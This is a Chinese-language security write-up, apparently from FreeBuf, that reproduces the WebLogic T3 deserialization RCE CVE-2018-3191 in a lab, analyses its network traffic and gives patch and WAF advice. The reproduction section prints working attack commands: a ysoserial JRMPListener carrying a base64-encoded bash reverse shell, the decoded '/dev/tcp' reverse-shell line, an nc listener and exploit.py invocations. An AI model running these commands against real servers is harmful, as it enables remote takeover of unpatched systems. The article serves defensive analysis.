從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)
一、前言
在不久前Oracle官方發布的10月重要補丁更新公告(Oracle Critical Patch Update Advisory - October 2018)中發布了五個基於T3協議的WebLogic遠程高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均為9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文將針對其中影響較大的CVE-2018-3191進行復現與分析,並在流量端進行追溯。
二、概要
Weblogic是目前全球市場上應用最廣泛的J2EE工具之一,被稱為業界最佳的應用程序伺服器,其用於構建J2EE
應用程序,支持新功能,可降低運營成本,提高性能,增強可擴展性並支持Oracle Applications產品組合。
官方文檔傳送門:
https://docs.oracle.com/middleware/12213/wls/INTRO/intro.htm#INTRO123。
關於T3協議:
說到T3協議就不得不提起JAVA遠程方法調用:
JAVA RMI(Java Remote Method Invocation)
,其主要用於實現遠程過程調用的Application編程介面。通過RMI可以使計算機上運行的程序調用遠程伺服器上的對象,其目的是使得遠程介面對象的使用儘可能簡化。該介面的實現方式之一即為:JRMP(
Java遠程消息交換協議,Java Remote Message Protocol
),也可以使用CORBA
兼容的方法實現。詳細介紹請參考:
https://blog.csdn.net/cdl2008sky/article/details/6844719。
T3協議是用於Weblogic伺服器和其他Java Application之間傳輸信息的協議,是實現上述RMI遠程過程調用的專有協議,其允許客戶端進行JNDI調用。
當Weblogic發起一個T3協議連接的時候,Weblogic會連接每一個Java虛擬機並傳輸流量,由於通信過程得到了極大的簡化,所以使得其在操作系統資源利用上實現的高效以及最大化,同時提高了傳輸速度。
三、分析與復現
3.1 環境說明:
攻擊機:
192.168.137.135 (Linux 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 x86_64 GNU/Linux)
靶機:
192.168.137.128 (Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMP x86_64 GNU/Linux)
3.2 Weblogic服務信息的快速檢測
首先,需要探測靶機Weblogic服務的相關信息,通過使用
Nmap
工具進行快速掃描,命令如下:
nmap -Pn -sV 192.168.137.128 -p7001 --script=weblogic-t3-infi.nse
如下圖標記所示,靶機的Weblogic開啟了T3協議,且屬於受CVE-2018-3191影響的版本範圍,因此,存在著漏洞風險。
3.3 建立接收被攻擊方Weblogic請求的JRMP Listener
在獲取靶機的Weblogic版本及T3協議的相關信息後,即可開始進行漏洞復現。這裡,我們需要使用到ysoserial工具,該工具可以針對不同的Weblogic產品給出漏洞利用腳本。
下載地址:
https://github.com/angelwhu/ysoserial。
ysoserial工具基本使用方法:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 "【commands】"
此處,我們在終端輸入命令:
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2345 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}"
目的是在本地建立一個JRMPListener
(批註:Java Remote Method Protocol,
Java遠程消息交換協議。
是特定於Java技術的、用於查找和引用遠程對象的協議。這是運行在RMI之下、TCP/IP之上的線路層協議)
,用於接收被攻擊方的Weblogic請求,並執行指定的bash反彈命令。命令後半段的bash命令進行了base64轉碼解碼的操作,此舉是為了避免Runtime.getRuntime().exec() 執行過程中將特殊符號轉義,明文為:
bash -i >& /dev/tcp/192.168.138.135/7890 0>&1
下圖可以看到,我們成功打開了JRMP listener:
3.4 監聽7890埠
nc -lvvp 7890
此舉是為了等待靶機反彈bash連接。
3.5 執行Exploit
python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345
Weblogic發起遠程方法調用,即
rmi
服務上圖可以看到,生成了攻擊載荷,且注入成功,此時nc監聽的埠會收到反彈的bash,獲得root許可權。
工具下載地址:
CVE-2018-3191 payload生成工具:
https://github.com/voidfyoo/CVE-2018-3191/releases
Weblogic T3協議發送工具:
https://github.com/Libraggbond/CVE-2018-3191
(註:工具安全性請自行查驗)
四、流量側捕獲與分析
如圖所示為此次在攻擊過程中在流量側抓取的數據包,其中No.16為帶有攻擊載荷的流量包:
經過對TCP流的追蹤,我們可以在此基礎上進行詳細分析。
4.1 通過T3協議進行通信
4.2 JtaTransactionManager類
由於此前Oracle官方沒有將
com.bea.core.repackaged
包中的AbstractPlatformTransactionManager
類加入到黑名單中,因此導致了Spring JNDI注入的發生。通過我們對CVE-2018-3191 POC的分析,在此類中,其主要是使用了JtaTransactionManager
這個類進行Spring JNDI注入,這點我們也可以在流量端有所發現:4.3 攻擊payload
4.4 基於T3專有協議的Java.rmi遠程方法調用
綜上,通過上述關鍵特徵,我們可以很快提取出waf相關防禦規則。
五、防禦建議
根據本文上述分析,安全工作人員可很快提取相關防禦規則升級至WAF系統,由於攻擊者是通過T3協議來完成攻擊,所以在T3協議訪問控制上應該嚴加管控,ORACLE在本次10月重要披露中除CVE-2018-3252外均可通過
T3協議訪問控制策略
來進行臨時防禦。通過Weblogic中base_domain的設置頁面的"安全"->"篩選器"來進行配置和防禦
,具體方法不再贅述,請參考網路資料。由於本次公開的漏洞涉及到了幾個較大的版本號,所以影響還是非常大的,建議受漏洞影響的用戶儘快升級或更新補丁來進行防護。鑒於Weblogic在防禦反序列化漏洞上通常採用黑名單的方式,黑名單在攻擊防禦側存在嚴重弊端,所以在升級版本或更新補丁的同時
建議將JDK版本升級至最新版本
。官方修復鏈接與說明:
https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
*
本文作者:安天 Web安全團隊,轉載請註明來自FreeBuf.COM
※XPwn 2018探索未來安全盛會,萬物互聯時代可以玩出哪些花活?
※看我如何發現Facebook安卓APP的$8500美金Webview漏洞
TAG:FreeBuf |